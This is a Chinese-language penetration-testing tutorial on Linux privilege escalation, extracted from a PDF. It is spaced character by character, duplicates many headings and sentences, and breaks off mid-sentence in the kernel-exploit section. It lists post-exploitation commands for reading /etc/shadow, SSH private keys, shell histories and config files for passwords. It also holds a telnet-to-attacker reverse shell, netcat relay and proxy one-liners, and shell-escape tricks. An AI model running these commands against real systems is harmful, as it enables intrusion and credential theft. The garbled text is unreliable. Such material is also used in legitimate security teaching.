搜索

[26300] 2020-11-06_一文吃透Linux提权

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-11-06_一文吃透Linux提权 一 文 吃 透 L i n u x 提 权 d n s i l l   L i n u x 学 习   2 0 2 0 - 1 1 - 0 6 来 自 公 众 号 ： 来 自 公 众 号 ： F r e e B u f 作 者 ： d n s i l l 0 x 0 0 1   l i n u x 提 权 描 述 提 权 描 述 大 多 数 计 算 机 系 统 设 计 为 可 与 多 个 用 户 一 起 使 用 。 特 权 是 指 允 许 用 户 执 行 的 操 作 。 普 通 特 权 包 括 查 看 和 编 辑 文 件 或 修 改 系 统 文 件 。 特 权 升 级 意 味 着 用 户 获 得 他 们 无 权 获 得 的 特 权 。 这 些 特 权 可 用 于 删 除 文 件 ， 查 看 私 人 信 息 或 安 装 不 需 要 的 程 序 ， 例 如 病 毒 。 通 常 ， 当 系 统 存 在 允 许 绕 过 安 全 性 的 错 误 或 对 使 用 方 法 的 设 计 假 设 存 在 缺 陷 时 ， 通 常 会 发 生 这 种 情 况 。 特 权 提 升 是 利 用 操 作 系 统 或 软 件 应 用 程 序 中 的 错 误 ， 设 计 缺 陷 等 等 来 获 得 对 通 常 受 到 应 用 程 序 或 用 户 保 护 的 资 源 的 更 高 访 问 权 限 的 行 为 。 结 果 是 ， 具 有 比 应 用 程 序 开 发 人 员 或 系 统 管 理 员 想 要 的 特 权 更 多 的 应 用 程 序 可 以 执 行 未 经 授 权 的 操 作 。 特 权 升 级 有 两 种 类 型 ： 水 平 水 平 和 垂 直 。 垂 直 。 在 水 平 升 级 中 水 平 升 级 中 ， 您 从 一 个 用 户 转 移 到 另 一 个 用 户 。 在 这 种 情 况 下 ， 两 个 用 户 都 是 通 用 的 ， 而 在 垂 直 垂 直 方 式 中 ， 我 们 将 特 权 从 普 通 用 户 提 升 为 管 理 员 管 理 员 简 单 来 说 就 是 简 单 来 说 就 是 即 用 户 无 法 访 问 （ 读 取 / 写 入 / 执 行 ） 不 允 许 访 问 的 文 件 。 但 是 ， 超 级 用 户 （ r o o t ） 可 以 访 问 系 统 上 存 在 的 所 有 文 件 。 为 了 更 改 任 何 重 要 的 配 置 或 进 行 进 一 步 的 攻 击 ， 首 先 ， 我 们 需 要 在 任 何 基 于 L i n u x 的 系 统 上 获 得 r o o t 用 户 访 问 权 限 为 什 么 我 们 需 要 执 行 特 权 升 级 ？ 读 / 写 任 何 敏 感 文 件 重 新 启 动 之 间 轻 松 保 持 插 入 永 久 后 门 特 权 升 级 所 使 用 的 技 术 特 权 升 级 所 使 用 的 技 术 我 们 假 设 现 在 我 们 在 远 程 系 统 上 有 外 壳 。 根 据 我 们 渗 透 进 去 的 方 式 ， 我 们 可 能 没 有 “   r o o t ” 特 权 。 以 下 提 到 的 技 术 可 用 于 获 取 系 统 上 的 “   r o o t ” 访 问 权 限 。 内 核 漏 洞 以 r o o t 身 份 运 行 的 程 序 已 安 装 的 软 件 弱 密 码 / 重 用 密 码 / 纯 文 本 密 码 内 部 服 务 S u i d 配 置 错 误 滥 用 s u d o 权 利 由 r o o t 调 用 的 可 写 脚 本 路 径 配 置 错 误 C r o n j o b s 卸 载 的 文 件 系 统 0 x 0 0 2   基 本 基 本 L i n u x 权 限 提 升 前 的 信 息 收 集 权 限 提 升 前 的 信 息 收 集 信 息 收 集 是 关 键 。 信 息 收 集 是 关 键 。 （ L i n u x ） 特 权 提 升 的 T I p s ： 信 息 信 息 信 息 信 息 ， 更 多 的 信 息 收 集 ， 信 息 收 集 是 整 个 渗 透 测 试 过 程 的 整 理 信 息 ， 分 析 收 集 的 信 息 分 析 收 集 的 信 息 和 整 理 信 息 。 搜 索 漏 洞 -   知 道 要 搜 索 什 么 以 及 在 哪 里 可 以 找 到 找 到 漏 洞 利 用 代 码 。 修 改 代 码 -   修 改 修 改 漏 洞 利 用 程 序 ， 使 其 适 合 目 前 的 渗 透 。 并 非 每 种 漏 洞 都 能 为 “ 现 成 ” 的 每 个 系 统 工 作 。 漏 洞 看 环 境 尝 试 攻 击 -   为 （ 很 多 ） 尝 试 和 错 误 尝 试 和 错 误 做 好 准 备 。 操 作 系 统 操 作 系 统 什 么 是 发 行 类 型 ？ 什 么 版 本 的 ？ 什 么 是 发 行 类 型 ？ 什 么 版 本 的 ？ 什 么 是 内 核 版 本 ？ 是 什 么 是 内 核 版 本 ？ 是 6 4 位 吗 ？ 位 吗 ？ 从 环 境 变 量 中 可 以 收 集 到 什 么 信 息 ？ 环 境 变 量 中 可 能 存 在 密 码 或 从 环 境 变 量 中 可 以 收 集 到 什 么 信 息 ？ 环 境 变 量 中 可 能 存 在 密 码 或 A P I 密 钥 密 钥 c a t   / e t c / i s s u e   c a t   / e t c / * - r e l e a s e   c a t   / e t c / l s b - r e l e a s e   #   D e b i a n   b a s e d   c a t   / e t c / r e d h a t - r e l e a s e   #   R e d h a t   b a s e d c a t   / p r o c / v e r s i o n   u n a m e   - a   u n a m e   - m r s   r p m   - q   k e r n e l   d m e s g   |   g r e p   L i n u x   l s   / b o o t   |   g r e p   v m l i n u z - c a t   / e t c / p r o f i l e   c a t   / e t c / b a s h r c   c a t   ~ / . b a s h _ p r o f i l e   c a t   ~ / . b a s h r c   c a t   ~ / . b a s h _ l o g o u t   e n v   s e t
路 径 （ 路 径 （ P a t h ) 如 果 您 对 该 变 量 内 的 任 何 文 件 夹 都 具 有 写 权 限 ， 则 可 以 劫 持 某 些 库 或 二 进 制 文 件 ： 如 果 您 对 该 变 量 内 的 任 何 文 件 夹 都 具 有 写 权 限 ， 则 可 以 劫 持 某 些 库 或 二 进 制 文 件 ： P A T H e c h o   $   P A T H 有 打 印 机 吗 ？ 有 打 印 机 吗 ？ l p s t a t   - a 应 用 与 服 务 应 用 与 服 务 哪 些 服 务 正 在 运 行 ？ 哪 个 服 务 具 有 哪 个 用 户 特 权 ？ 哪 些 服 务 正 在 运 行 ？ 哪 个 服 务 具 有 哪 个 用 户 特 权 ？ r o o t 正 在 运 行 哪 些 服 务 ？ 在 这 些 易 受 攻 击 的 服 务 中 ， 值 得 仔 细 检 查 ！ 正 在 运 行 哪 些 服 务 ？ 在 这 些 易 受 攻 击 的 服 务 中 ， 值 得 仔 细 检 查 ！ 安 装 了 哪 些 应 用 程 序 ？ 他 们 是 什 么 版 本 的 ？ 他 们 目 前 在 运 行 吗 ？ 安 装 了 哪 些 应 用 程 序 ？ 他 们 是 什 么 版 本 的 ？ 他 们 目 前 在 运 行 吗 ？ 服 务 设 置 是 否 配 置 错 误 ？ 是 否 附 有 （ 脆 弱 的 ） 插 件 ？ 服 务 设 置 是 否 配 置 错 误 ？ 是 否 附 有 （ 脆 弱 的 ） 插 件 ？ 计 划 了 哪 些 工 作 ？ （ 计 划 任 务 ） 计 划 了 哪 些 工 作 ？ （ 计 划 任 务 ） 是 否 有 纯 文 本 用 户 名 和 是 否 有 纯 文 本 用 户 名 和 / 或 密 码 ？ 或 密 码 ？ 检 查 W e b 服 务 器 连 接 到 数 据 库 的 文 件 （ c o n f i g . p h p 或 类 似 文 件 ） 检 查 数 据 库 以 获 取 可 能 被 重 用 的 管 理 员 密 码 检 查 弱 密 码 通 讯 与 网 络 通 讯 与 网 络 p s   a u x   p s   - e f   t o p   c a t   / e t c / s e r v i c e s p s   a u x   |   g r e p   r o o t   p s   - e f   |   g r e p   r o o t l s   - a l h   / u s r / b i n /   l s   - a l h   / s b i n /   d p k g   - l   r p m   - q a   l s   - a l h   / v a r / c a c h e / a p t / a r c h i v e s O   l s   - a l h   / v a r / c a c h e / y u m / c a t   / e t c / s y s l o g . c o n f c a t   / e t c / c h t t p . c o n f c a t   / e t c / l i g h t t p d . c o n f c a t   / e t c / c u p s / c u p s d . c o n f c a t   / e t c / i n e t d . c o n f   c a t   / e t c / a p a c h e 2 / a p a c h e 2 . c o n f c a t   / e t c / m y . c o n f   c a t   / e t c / h t t p d / c o n f / h t t p d . c o n f c a t   / o p t / l a m p p / e t c / h t t p d . c o n f   l s   - a R l   / e t c /   |   a w k   ' $ 1   ~   / ^ . * r . * / c r o n t a b   - l l s   - a l h   / v a r / s p o o l / c r o n l s   - a l   / e t c /   |   g r e p   c r o n l s   - a l   / e t c / c r o n * c a t   / e t c / c r o n * c a t   / e t c / a t . a l l o w c a t   / e t c / a t . d e n y c a t   / e t c / c r o n . a l l o w c a t   / e t c / c r o n . d e n y c a t   / e t c / c r o n t a b c a t   / e t c / a n a c r o n t a b c a t   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t g r e p   - i   u s e r   [ f i l e n a m e ] g r e p   - i   p a s s   [ f i l e n a m e ] g r e p   - C   5   " p a s s w o r d "   [ f i l e n a m e ] f i n d   .   - n a m e   " * . p h p "   - p r i n t 0   |   x a r g s   - 0   g r e p   - i   - n   " v a r   $ p a s s w o r d "
系 统 具 有 哪 些 系 统 具 有 哪 些 N I C ？ 它 是 否 连 接 到 另 一 个 网 络 ？ ？ 它 是 否 连 接 到 另 一 个 网 络 ？ 什 么 是 网 络 配 置 设 置 ？ 我 们 可 以 找 到 关 于 该 网 络 的 哪 些 信 息 ？ 什 么 是 网 络 配 置 设 置 ？ 我 们 可 以 找 到 关 于 该 网 络 的 哪 些 信 息 ？ D H C P 服 务 器 ？ 服 务 器 ？ D N S 服 务 器 ？ 网 关 ？ 服 务 器 ？ 网 关 ？ 其 他 哪 些 用 户 和 主 机 正 在 与 系 统 通 信 ？ 其 他 哪 些 用 户 和 主 机 正 在 与 系 统 通 信 ？ 在 这 种 情 况 下 ， 用 户 正 在 运 行 某 些 只 能 从 该 主 机 获 得 的 服 务 。 您 无 法 从 外 部 连 接 到 服 务 。 它 可 能 是 开 发 服 务 器 ， 数 据 库 或 其 他 任 何 东 西 。 这 些 服 务 可 能 以 r o o t 用 户 身 份 运 行 ， 或 者 其 中 可 能 存 在 漏 洞 。 由 于 开 发 人 员 或 用 户 可 能 在 考 虑 “ 由 于 只 有 特 定 用 户 可 以 访 问 它 ， 因 此 我 们 不 需 要 花 费 那 么 多 的 安 全 性 ” ， 因 此 它 们 可 能 更 加 脆 弱 。 检 查 检 查 n e t s t a t 并 将 其 与 您 从 外 部 进 行 的 并 将 其 与 您 从 外 部 进 行 的 n m a p 扫 描 进 行 比 较 。 您 是 否 能 从 内 部 找 到 更 多 可 用 的 服 务 ？ 扫 描 进 行 比 较 。 您 是 否 能 从 内 部 找 到 更 多 可 用 的 服 务 ？ 缓 存 了 什 么 ？ 缓 存 了 什 么 ？ I P 和 和 / 或 或 M A C 地 址 地 址 数 据 包 嗅 探 是 否 可 能 ？ 可 以 看 到 什 么 ？ 数 据 包 嗅 探 是 否 可 能 ？ 可 以 看 到 什 么 ？ 注 意 ： t c p d u m p   t c p   d s t   [ i p ]   [ 端 口 ] 和 t c p   d s t   [ i p ]   [ 端 口 ] 我 们 有 我 们 有 s h e l l 吗 ？ 吗 ？ 是 否 可 以 进 行 端 口 转 发 ？ 重 定 向 流 量 并 与 之 交 互 是 否 可 以 进 行 端 口 转 发 ？ 重 定 向 流 量 并 与 之 交 互 注 意 ： F P i p e . e x e   - l   [ 本 地 端 口 ]   - r   [ 远 程 端 口 ]   - s   [ 本 地 端 口 ]   [ 本 地 I P ] 注 意 ： s s h - [ L   /   R ]   [ 本 地 端 口 ] ： [ 远 程 I P ] ： [ 远 程 端 口 ]   [ 本 地 用 户 ]   @   [ 本 地 I P ] 注 意 ： m k n o d   b a c k p i p e   p ;   n c   - l   - p   [ 远 程 端 口 ] b a c k p i p e 可 以 使 用 隧 道 吗 ？ 在 本 地 远 程 发 送 命 令 机 密 信 息 和 用 户 机 密 信 息 和 用 户 你 是 谁 ？ 谁 登 录 ？ 谁 已 经 登 录 ？ 那 里 还 有 谁 ？ 谁 能 做 什 么 ？ 你 是 谁 ？ 谁 登 录 ？ 谁 已 经 登 录 ？ 那 里 还 有 谁 ？ 谁 能 做 什 么 ？ i d w h o w l a s t c a t   / e t c / p a s s w d   |   c u t   - d :   - f 1   #   L i s t   o f   u s e r s g r e p   - v   - E   “ ^ # ”   / e t c / p a s s w d   |   a w k   - F :   ‘ $ 3   = =   0   {   p r i n t   $ 1 } ’   #   L i s t   o f   s u p e r   u s e r s a w k   - F :   ‘ ( $ 3   = =   “ 0 ” )   { p r i n t } ’   / e t c / p a s s w d   #   L i s t   o f   s u p e r   u s e r s c a t   / e t c / s u d o e r s s u d o   - l 可 以 找 到 哪 些 敏 感 文 件 ？ 可 以 找 到 哪 些 敏 感 文 件 ？ c a t   / e t c / p a s s w d c a t   / e t c / g r o u p c a t   / e t c / s h a d o w l s   - a l h   / v a r / m a i l / h o m e / r o o t 目 录 有 什 么 目 录 有 什 么 “ 有 用 有 用 ” 的 地 方 吗 ？ 如 果 可 以 访 问 的 地 方 吗 ？ 如 果 可 以 访 问 l s   - a h l R   / r o o t / l s   - a h l R   / h o m e / 里 面 有 密 码 吗 ？ 脚 本 ， 数 据 库 ， 配 置 文 件 还 是 日 志 文 件 ？ 密 码 的 默 认 路 径 和 位 置 里 面 有 密 码 吗 ？ 脚 本 ， 数 据 库 ， 配 置 文 件 还 是 日 志 文 件 ？ 密 码 的 默 认 路 径 和 位 置 / s b i n / i f c o n f i g   - a   c a t   / e t c / n e t w o r k / i n t e r f a c e s   c a t   / e t c / s y s c o n f i g / n e t w o r k c a t   / e t c / r e s o l v . c o n f   c a t   / e t c / s y s c o n f i g / n e t w o r k   c a t   / e t c / n e t w o r k s   i p t a b l e s   - L   h o s t n a m e   d n s d o m a i n n a m e #   L i n u x n e t s t a t   - a n l p n e t s t a t   - a n o     l s o f   - i   l s o f   - i   : 8 0   g r e p   8 0   / e t c / s e r v i c e s   n e t s t a t   - a n t u p   n e t s t a t   - a n t p x   n e t s t a t   - t u l p n   c h k c o n f i g   - - l i s t   c h k c o n f i g   - - l i s t   |   g r e p   3 : o n   l a s t   w a r p   - e   r o u t e   / s b i n / r o u t e   - n e e t c p d u m p   t c p   d s t   1 9 2 . 1 6 8 . 1 . 7   8 0   a n d   t c p   d s t   1 0 . 5 . 5 . 2 5 2   2 1 n c   - l v p   4 4 4 4   #   A t t a c k e r .   I n p u t   ( C o m m a n d s ) n c   - l v p   4 4 4 5   #   A t t a c k e r .   O u p u t   ( R e s u l t s )   t e l n e t   [ a t a c k e r s   i p ]   4 4 4 4 4   |   / b i n / s h   |   [ l o c a l   i p ]   4 4 4 4 5 F P i p e . e x e   - l   8 0   - r   8 0   - s   8 0   1 9 2 . 1 6 8 . 1 . 7 s s h   - L   8 0 8 0 : 1 2 7 . 0 . 0 . 1 : 8 0   r o o t @ 1 9 2 . 1 6 8 . 1 . 7   #   L o c a l   P o r t   s s h   - R   8 0 8 0 : 1 2 7 . 0 . 0 . 1 : 8 0   r o o t @ 1 9 2 . 1 6 8 . 1 . 7   #   R e m o t e   P o r t m k n o d   b a c k p i p e   p   ;   n c   - l   - p   8 0 8 0   <   b a c k p i p e   |   n c   1 0 . 5 . 5 . 1 5 1   8 0   > b a c k p i p e   #   P o r t   R e l a y m k n o d   b a c k p i p e   p   ;   n c   - l   - p   8 0 8 0   0   &   <   b a c k p i p e   |   t e e   - a   i n f l o w   |   n c   l o c a l h o s t   8 0   |   t e e   - a   o u t f l o w   1 > b a c k p i p e   #   P r o x y   ( P o r t   8 0   t o   8 0 8 0 ) m k n o d   b a c k p i p e   p   ;   n c   - l   - p   8 0 8 0   0   &   <   b a c k p i p e   |   t e e   - a   i n f l o w   |   n c   l o c a l h o s t   8 0   |   t e e   - a   o u t f l o w   &   1 > b a c k p i p e   #   P r o x y   m o n i t o r   ( P o r t   8 0   t o   8 0 8 0 ) s s h   - D   1 2 7 . 0 . 0 . 1 : 9 0 5 0   - N   [ u s e r n a m e ] @ [ i p ]   p r o x y c h a i n s   i f c o n f i g
c a t   / v a r / a p a c h e 2 / c o n f i g . i n c c a t   / v a r / l i b / m y s q l / m y s q l / u s e r . M Y D c a t   / r o o t / a n a c o n d a - k s . c f g 用 户 正 在 做 什 么 ？ 是 否 有 纯 文 本 密 码 ？ 他 们 在 编 辑 什 么 ？ 用 户 正 在 做 什 么 ？ 是 否 有 纯 文 本 密 码 ？ 他 们 在 编 辑 什 么 ？ c a t   ~ / . b a s h _ h i s t o r y c a t   ~ / . n a n o _ h i s t o r y c a t   ~ / . a t f t p _ h i s t o r y c a t   ~ / . m y s q l _ h i s t o r y c a t   ~ / . p h p _ h i s t o r y 可 以 找 到 哪 些 用 户 信 息 ？ 可 以 找 到 哪 些 用 户 信 息 ？ c a t   ~ / . b a s h r c c a t   ~ / . p r o f i l e c a t   / v a r / m a i l / r o o t c a t   / v a r / s p o o l / m a i l / r o o t 可 以 找 到 私 钥 信 息 吗 ？ 可 以 找 到 私 钥 信 息 吗 ？ c a t   ~ / . s s h / a u t h o r i z e d _ k e y s c a t   ~ / . s s h / i d e n t i t y . p u b c a t   ~ / . s s h / i d e n t i t y c a t   ~ / . s s h / i d _ r s a . p u b c a t   ~ / . s s h / i d _ r s a c a t   ~ / . s s h / i d _ d s a . p u b c a t   ~ / . s s h / i d _ d s a c a t   / e t c / s s h / s s h _ c o n f i g c a t   / e t c / s s h / s s h d _ c o n f i g c a t   / e t c / s s h / s s h _ h o s t _ d s a _ k e y . p u b c a t   / e t c / s s h / s s h _ h o s t _ d s a _ k e y c a t   / e t c / s s h / s s h _ h o s t _ r s a _ k e y . p u b c a t   / e t c / s s h / s s h _ h o s t _ r s a _ k e y c a t   / e t c / s s h / s s h _ h o s t _ k e y . p u b c a t   / e t c / s s h / s s h _ h o s t _ k e y 文 件 系 统 文 件 系 统 可 以 在 可 以 在 /   e t c   / 中 写 入 哪 些 配 置 文 件 ？ 能 够 重 新 配 置 服 务 ？ 中 写 入 哪 些 配 置 文 件 ？ 能 够 重 新 配 置 服 务 ？ l s   - a R l   / e t c /   |   a w k   ‘ $ 1   ~   / ^ . w . / ‘   2 > / d e v / n u l l   #   A n y o n e l s   - a R l   / e t c /   |   a w k   ‘ $ 1   ~   / ^ . . w / ‘   2 > / d e v / n u l l   #   O w n e r l s   - a R l   / e t c /   |   a w k   ‘ $ 1   ~   / ^ … . . w / ‘   2 > / d e v / n u l l   #   G r o u p l s   - a R l   / e t c /   |   a w k   ' $ 1   ~   / w . $ / '   2 > / d e v / n u l l   #   O t h e r f i n d   / e t c /   - r e a d a b l e   - t y p e   f   2 > / d e v / n u l l   #   A n y o n e f i n d   / e t c /   - r e a d a b l e   - t y p e   f   - m a x d e p t h   1   2 > / d e v / n u l l   #   A n y o n e 在 在 /   v a r   / 中 可 以 找 到 什 么 ？ 中 可 以 找 到 什 么 ？ l s   - a l h   / v a r / l o g   l s   - a l h   / v a r / m a i l l s   - a l h   / v a r / s p o o l l s   - a l h   / v a r / s p o o l / l p d l s   - a l h   / v a r / l i b / p g s q l l s   - a l h   / v a r / l i b / m y s q l c a t   / v a r / l i b / d h c p 3 / d h c l i e n t . l e a s e s 网 站 上 是 否 有 任 何 设 置 网 站 上 是 否 有 任 何 设 置 / 文 件 （ 隐 藏 ） ？ 有 数 据 库 信 息 的 任 何 设 置 文 件 吗 ？ 文 件 （ 隐 藏 ） ？ 有 数 据 库 信 息 的 任 何 设 置 文 件 吗 ？ l s   - a l h R   / v a r / w w w / l s   - a l h R   / s r v / w w w / h t d o c s / l s   - a l h R   / u s r / l o c a l / w w w / a p a c h e 2 2 / d a t a /
l s   - a l h R   / o p t / l a m p p / h t d o c s / l s   - a l h R   / v a r / w w w / h t m l / 日 志 文 件 中 是 否 有 任 何 内 容 （ 可 以 帮 助 日 志 文 件 中 是 否 有 任 何 内 容 （ 可 以 帮 助 “ 本 地 文 件 包 含 本 地 文 件 包 含 ” ！ ） ！ ） c a t   / e t c / h t t p d / l o g s / a c c e s s _ l o g c a t   / e t c / h t t p d / l o g s / a c c e s s . l o g c a t   / e t c / h t t p d / l o g s / e r r o r _ l o g c a t   / e t c / h t t p d / l o g s / e r r o r . l o g c a t   / v a r / l o g / a p a c h e 2 / a c c e s s _ l o g c a t   / v a r / l o g / a p a c h e 2 / a c c e s s . l o g c a t   / v a r / l o g / a p a c h e 2 / e r r o r _ l o g c a t   / v a r / l o g / a p a c h e 2 / e r r o r . l o g c a t   / v a r / l o g / a p a c h e / a c c e s s _ l o g c a t   / v a r / l o g / a p a c h e / a c c e s s . l o g c a t   / v a r / l o g / a u t h . l o g c a t   / v a r / l o g / c h t t p . l o g c a t   / v a r / l o g / c u p s / e r r o r _ l o g c a t   / v a r / l o g / d p k g . l o g c a t   / v a r / l o g / f a i l l o g c a t   / v a r / l o g / h t t p d / a c c e s s _ l o g c a t   / v a r / l o g / h t t p d / a c c e s s . l o g c a t   / v a r / l o g / h t t p d / e r r o r _ l o g c a t   / v a r / l o g / h t t p d / e r r o r . l o g c a t   / v a r / l o g / l a s t l o g c a t   / v a r / l o g / l i g h t t p d / a c c e s s . l o g c a t   / v a r / l o g / l i g h t t p d / e r r o r . l o g c a t   / v a r / l o g / l i g h t t p d / l i g h t t p d . a c c e s s . l o g c a t   / v a r / l o g / l i g h t t p d / l i g h t t p d . e r r o r . l o g c a t   / v a r / l o g / m e s s a g e s c a t   / v a r / l o g / s e c u r e c a t   / v a r / l o g / s y s l o g c a t   / v a r / l o g / w t m p c a t   / v a r / l o g / x f e r l o g c a t   / v a r / l o g / y u m . l o g c a t   / v a r / r u n / u t m p c a t   / v a r / w e b m i n / m i n i s e r v . l o g c a t   / v a r / w w w / l o g s / a c c e s s _ l o g c a t   / v a r / w w w / l o g s / a c c e s s . l o g l s   - a l h   / v a r / l i b / d h c p 3 / l s   - a l h   / v a r / l o g / p o s t g r e s q l / l s   - a l h   / v a r / l o g / p r o f t p d / l s   - a l h   / v a r / l o g / s a m b a / N o t e :   a u t h . l o g ,   b o o t ,   b t m p ,   d a e m o n . l o g ,   d e b u g ,   d m e s g ,   k e r n . l o g ,   m a i l . i n f o ,   m a i l . l o g ,   m a i l . w a r n ,   m e s s a g e s ,   s y s l o g ,   u d e v ,   w t m p 如 果 命 令 受 到 限 制 ， 我 们 得 跳 出 如 果 命 令 受 到 限 制 ， 我 们 得 跳 出 “ 受 到 限 制 受 到 限 制 ” 外 壳 吗 ？ 外 壳 吗 ？ p y t h o n   - c   ‘ i m p o r t   p t y ; p t y . s p a w n ( “ / b i n / b a s h ” ) ’ e c h o   o s . s y s t e m ( ‘ / b i n / b a s h ’ ) / b i n / s h   - i 是 否 存 在 安 装 文 件 系 统 是 否 存 在 安 装 文 件 系 统 ？ m o u n t   d f   - h 是 否 有 任 何 卸 载 的 文 件 系 统 ？ 是 否 有 任 何 卸 载 的 文 件 系 统 ？ c a t   / e t c / f s t a b “ L i n u x 文 件 权 限 文 件 权 限 ” 是 什 么 ？ 是 什 么 ？ f i n d   /   - p e r m   - 1 0 0 0   - t y p e   d   2 > / d e v / n u l l       #   S t i c k y   b i t   -   O n l y   t h e   o w n e r   o f   t h e   d i r e c t o r y   o r   t h e   o w n e r   o f   a   f i l e   c a n   d e l e t e   o r   r e n a m e   h e r e .
可 以 在 哪 里 写 入 和 执 行 ？ 一 些 可 以 在 哪 里 写 入 和 执 行 ？ 一 些 “ 常 见 常 见 ” 位 置 ： 位 置 ： 任 何 任 何 “ 问 题 问 题 ” 文 件 吗 ？ 文 件 吗 ？ W o r d 可 写 的 可 写 的 “ 没 人 没 人 ” 文 件 文 件 准 备 和 查 找 漏 洞 利 用 代 码 准 备 和 查 找 漏 洞 利 用 代 码 安 装 安 装 / 支 持 哪 些 开 发 工 具 支 持 哪 些 开 发 工 具 / 语 言 ？ 语 言 ？ f i n d   /   - n a m e   p e r l * f i n d   /   - n a m e   p y t h o n * f i n d   /   - n a m e   g c c * f i n d   /   - n a m e   c c 如 何 上 传 文 件 ？ 如 何 上 传 文 件 ？ f i n d   /   - n a m e   w g e t f i n d   /   - n a m e   n c * f i n d   /   - n a m e   n e t c a t * f i n d   /   - n a m e   t f t p * f i n d   /   - n a m e   f t p 系 统 是 否 已 完 全 打 补 丁 ？ 系 统 是 否 已 完 全 打 补 丁 ？ 内 核 ， 操 作 系 统 ， 所 有 应 用 程 序 ， 其 插 件 和 W e b 服 务 0 x 0 0 3   l i n u x 提 权 提 权 — 自 动 信 息 收 集 自 动 信 息 收 集 枚 举 脚 本 枚 举 脚 本 我 主 要 使 用 了 三 个 用 于 枚 举 机 器 的 脚 本 。 它 们 在 脚 本 之 间 有 些 区 别 ， 但 是 它 们 输 出 的 内 容 很 多 相 同 。 因 此 ， 将 它 们 全 部 测 试 一 下 ， 看 看 您 最 喜 欢 哪 一 个 。 L i n E n u m h t t p s : / / g i t h u b . c o m / r e b o o t u s e r / L i n E n u m 以 下 是 选 项 ： U n i x 特 权 特 权 h t t p : / / p e n t e s t m o n k e y . n e t / t o o l s / a u d i t / u n i x - p r i v e s c - c h e c k 运 行 脚 本 并 将 输 出 保 存 在 文 件 中 ， 然 后 使 用 g r e p 发 出 警 告 。 L i n p r i v c h e c k e r . p y h t t p s : / / g i t h u b . c o m / r e i d e r - r o q u e / l i n p o s t e x p / b l o b / m a s t e r / l i n p r i v c h e c k e r . p y f i n d   /   - p e r m   - g = s   - t y p e   f   2 > / d e v / n u l l         #   S G I D   ( c h m o d   2 0 0 0 )   -   r u n   a s   t h e   g r o u p ,   n o t   t h e   u s e r   w h o   s t a r t e d   i t . f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l         #   S U I D   ( c h m o d   4 0 0 0 )   -   r u n   a s   t h e   o w n e r ,   n o t   t h e   u s e r   w h o   s t a r t e d   i t . f i n d   /   - p e r m   - g = s   - o   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l         #   S G I D   o r   S U I D f o r   i   i n   ` l o c a t e   - r   " b i n $ " ` ;   d o f i n d   $ i   (   - p e r m   - 4 0 0 0   - o   - p e r m   - 2 0 0 0   )   - t y p e   f   2 > / d e v / n u l l ;   d o n e         #   L o o k s   i n   ' c o m m o n '   p l a c e s :   / b i n ,   / s b i n ,   / u s r / b i n ,   / u s r / s b i n ,   / u s r / l o c a l / b i n ,   / u s r / l o c a l / s b i n   a n d   a n y   o t h e r   * b i n ,   f i n d   s t a r t i n g   a t   r o o t   ( / ) ,   S G I D   o r   S U I D ,   n o t   S y m b o l i c   l i n k s ,   o n l y   3   f o l d e r s   d e e p ,   l i s t   w i t h   m o r e   d e t a i l   a n d   h i d e   a n y   e r r o r s   ( e . g .   p e r m i s s i o n   d e n i e d ) f i n d   /   - p e r m   - g = s   - o   - p e r m   /   t m p /   v a r   /   t m p /   d e v   /   s h m f i n d   /   - w r i t a b l e   - t y p e   d   2 > / d e v / n u l l             #   w o r l d - w r i t e a b l e   f o l d e r s f i n d   /   - p e r m   - 2 2 2   - t y p e   d   2 > / d e v / n u l l           #   w o r l d - w r i t e a b l e   f o l d e r s f i n d   /   - p e r m   - o   w   - t y p e   d   2 > / d e v / n u l l           #   w o r l d - w r i t e a b l e   f o l d e r s f i n d   /   - p e r m   - o   x   - t y p e   d   2 > / d e v / n u l l           #   w o r l d - e x e c u t a b l e   f o l d e r s f i n d   /   (   - p e r m   - o   w   - p e r m   - o   x   )   - t y p e   d   2 > / d e v / n u l l       #   w o r l d - w r i t e a b l e   &   e x e c u t a b l e   f o l d e r s f i n d   /   - x d e v   - t y p e   d   (   - p e r m   - 0 0 0 2   - a   !   - p e r m   - 1 0 0 0   )   - p r i n t       #   w o r l d - w r i t e a b l e   f i l e s f i n d   / d i r   - x d e v   (   - n o u s e r   - o   - n o g r o u p   )   - p r i n t       #   N o o w n e r   f i l e s - k   E n t e r   k e y w o r d - e   E n t e r   e x p o r t   l o c a t i o n - t   I n c l u d e   t h o r o u g h   ( l e n g t h y )   t e s t s - r   E n t e r   r e p o r t   n a m e - h   D i s p l a y s   t h i s   h e l p   t e x t
0 x 0 0 4   l i n u x 提 权 提 权 - 内 核 漏 洞 提 权 内 核 漏 洞 提 权 通 过 利 用 L i n u x 内 核 中 的 漏 洞 ， 有 时 我 们 可 以 提 升 特 权 。 我 们 通 常 需 要 了 解 的 操 作 系 统 ， 体 系 结 构 和 内 核 版 本 是 测 试 内 核 利 用 是 否 可 行 的 测 试 方 法 。 内 核 漏 洞 内 核 漏 洞 内 核 漏 洞 利 用 程 序 是 利 用 内 核 漏 洞 来 执 行 具 有 更 高 权 限 的 任 意 代 码 的 程 序 。 成 功 的 内 核 利 用 通 常 以 r o o t 命 令 提 示 符 的 形 式 为 攻 击 者 提 供 对 目 标 系 统 的 超 级 用 户 访 问 权 限 。 在 许 多 情 况 下 ， 升 级 到 L i n u x 系 统 上 的 根 目 录 就 像 将 内 核 漏 洞 利 用 程 序 下 载 到 目 标 文 件 系 统 ， 编 译 该 漏 洞 利 用 程 序 然 后 执 行 它 一 样 简 单 。 假 设 我 们 可 以 以 非 特 权 用 户 身 份 运 行 代 码 ， 这 就 是 内 核 利 用 的 通 用 工 作 流 程 。 1 . 诱 使 内 核 在 内 核 模 式 下 运 行 我 们 的 有 效 负 载 2 . 处 理 内 核 数 据 ， 例 如 进 程 特 权 3 . 以 新 特 权 启 动 s h e l l   r o o t ！ 考 虑 到 要 成 功 利 用 内 核 利 用 攻 击 ， 攻 击 者 需 要 满 足 以 下 四 个 条 件 ： 考 虑 到 要 成 功 利 用 内 核 利 用 攻 击 ， 攻 击 者 需 要 满 足 以 下 四 个 条 件 ： 1 . 易 受 攻 击 的 内 核 2 . 匹 配 的 漏 洞 利 用 程 序 3 . 将 漏 洞 利 用 程 序 转 移 到 目 标 上 的 能 力 4 . 在 目 标 上 执 行 漏 洞 利 用 程 序 的 能 力 抵 御 内 核 漏 洞 的 最 简 单 方 法 是 保 持 内 核 的 修 补 和 更 新 。 在 没 有 补 丁 的 情 